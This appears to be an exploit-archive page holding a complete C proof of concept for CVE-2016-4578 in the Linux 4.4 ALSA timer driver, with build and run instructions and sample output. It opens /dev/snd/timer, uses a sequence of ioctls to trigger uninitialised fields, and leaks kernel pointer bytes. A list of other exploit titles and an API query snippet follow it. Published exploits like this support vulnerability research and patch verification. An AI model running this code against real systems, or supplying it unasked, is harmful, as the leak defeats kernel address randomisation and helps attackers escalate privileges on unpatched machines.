Menu

"Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak"

Author

wally0813

Platform

linux

Release date

2019-03-11

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sound/asound.h>

# Exploit Title: Linux Kernel 4.4 (Ubuntu 16.04) - Leak kernel pointer in snd_timer_user_ccallback()

# Google Dork: -

# Date: 2019-03-11

# Exploit Author: wally0813

# Vendor Homepage: -

# Software Link: -

# Version: Linux Kernel 4.4 (Ubuntu 16.04)

# Tested on: ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

# CVE: CVE-2016-4578

# Category: Local



/*
 * [ Briefs ]
 *    - If snd_timer_user_ccallback() doesn't initialize snd_timer_tread.event and snd_timer_tread.val, they are leaked by snd_timer_user_read()
 *    - This is local exploit against the CVE-2016-4578.
 *
 * [ Tested version ]
 *    - 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 *
 * [ Prerequisites ]
 *    -  
 *
 * [ Goal ]
 *    - Leak 4 bytes kernel pointer address using snd_timer_user_ccallback()
 *
 * [ Run exploit ]
 *    - $ gcc -o poc poc.c
 *    - $ sudo ./poc
 *      leak_value(event) : ffff8800
 *      leak_value(val) : ffffffff
 *
 * [ Contact ]
 *    - soyeoni0813@gmail.com
 */



int fd;

void leak(){

	struct snd_timer_tread td;
	struct snd_timer_select st;
	struct snd_timer_params ps;
	int r;
	unsigned int leak_value_e, leak_value_v;
	int tread;

	memset(&td,0,sizeof(td));
	memset(&st,0,sizeof(st));
	memset(&ps,0,sizeof(ps));


	// set tread
	tread = 1;
	ps.filter |= 1<<SNDRV_TIMER_EVENT_START;
	ps.ticks = 1000 * 1000;

	r = ioctl(fd, SNDRV_TIMER_IOCTL_TREAD, &tread);
	if (r) {
		printf("SNDRV_TIMER_IOCTL_TREAD error : %d, %s\n", errno, strerror(errno));
		return;
	}


	// vuln trigger
	st.id.dev_class = SNDRV_TIMER_CLASS_GLOBAL;
	st.id.dev_sclass = SNDRV_TIMER_SCLASS_APPLICATION;
	r = ioctl(fd, SNDRV_TIMER_IOCTL_SELECT, &st);
	if (r) {
		printf("SNDRV_TIMER_IOCTL_SELECT error : %d, %s\n", errno, strerror(errno));
		return;
	}

	r = ioctl(fd, SNDRV_TIMER_IOCTL_PARAMS, &ps);
	if (r) {
		printf("SNDRV_TIMER_IOCTL_PARAMS error : %d, %s\n", errno, strerror(errno));
		return;
	}

	r = ioctl(fd, SNDRV_TIMER_IOCTL_START);
    if (r) {
    	printf("SNDRV_TIMER_IOCTL_START error : %d, %s\n", errno, strerror(errno));
    	return;
	}


    // get leak
	r = read(fd, &td, sizeof(td));
	
	leak_value_e = *((unsigned long *)(&td.event+1));
	printf("leak_value(event) : %lx\n", leak_value_e);

	leak_value_v = *((unsigned long *)(&td.val+1));
	printf("leak_value(val) : %lx\n", leak_value_v);

}

int main(int argc, char **argv)
{
	fd = open("/dev/snd/timer", O_RDWR);

	if (fd < 0) {
		printf("open error : %d, %s\n", errno, strerror(errno));
		return -1;
	}

	leak();
	close(fd);
	return 0;
}
Release Date Title Type Platform Author
2019-08-14 "ABC2MTEX 1.6.1 - Command Line Stack Overflow" dos linux "Carter Yagemann"
2019-08-12 "Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)" remote linux AkkuS
2019-08-12 "Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution" local linux "Etienne Lacoche"
2019-08-12 "Linux - Use-After-Free Reads in show_numa_stats()" dos linux "Google Security Research"
2019-07-30 "Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)" remote linux Metasploit
2018-12-29 "Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation" local linux bcoles
2018-12-29 "Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)" local linux bcoles
2018-12-29 "Linux Kernel 4.8.0-34 < 4.8.0-45 (Ubuntu / Linux Mint) - Packet Socket Local Privilege Escalation" local linux bcoles
2019-01-04 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method)" local linux bcoles
2018-11-21 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (ldpreload Method)" local linux bcoles
2019-01-04 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method)" local linux bcoles
2018-11-21 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method)" local linux bcoles
2019-07-24 "Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation" local linux bcoles
2019-07-26 "pdfresurrect 0.15 - Buffer Overflow" dos linux j0lama
2019-07-22 "Axway SecureTransport 5 - Unauthenticated XML Injection" webapps linux "Dominik Penner"
2019-07-22 "Comtrend-AR-5310 - Restricted Shell Escape" local linux "AMRI Amine"
2019-07-19 "Docker - Container Escape" local linux dominikczarnotatob
2019-07-22 "BACnet Stack 0.8.6 - Denial of Service" dos linux mmorillo
2019-07-19 "Web Ofisi Firma 13 - 'oz' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Rent a Car 3 - 'klima' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Firma Rehberi 1 - 'il' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Emlak 3 - 'emlak_durumu' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Emlak 2 - 'ara' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Platinum E-Ticaret 5 - 'q' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi E-Ticaret 3 - 'a' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "fuelCMS 1.4.1 - Remote Code Execution" webapps linux 0xd0ff9
2019-07-18 "WordPress Plugin OneSignal 1.17.5 - 'subdomain' Persistent Cross-Site Scripting" webapps linux LiquidWorm
2019-07-17 "Oracle Siebel CRM 19.0 - Persistent Cross-Site Scripting" webapps linux "Sarath Nair"
2019-07-17 "Linux - Broken Permission and Object Lifetime Handling for PTRACE_TRACEME" local linux "Google Security Research"
2019-07-16 "CentOS Control Web Panel 0.9.8.838 - User Enumeration" webapps linux "Pongtorn Angsuchotmetee_ Nissana Sirijirakal_ Narin Boonwasanarak"
Release Date Title Type Platform Author
2019-03-11 "Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak" dos linux wally0813
2019-01-21 "Linux Kernel 4.13 - 'compat_get_timex()' Leak Kernel Pointer" dos linux wally0813
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46529/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46529/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46529/40971/linux-kernel-44-ubuntu-1604-snd-timer-user-ccallback-kernel-pointer-leak/download/", "exploit_id": "46529", "exploit_description": "\"Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak\"", "exploit_date": "2019-03-11", "exploit_author": "wally0813", "exploit_type": "dos", "exploit_platform": "linux", "exploit_port": null}
                                            

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Browse exploit APIBrowse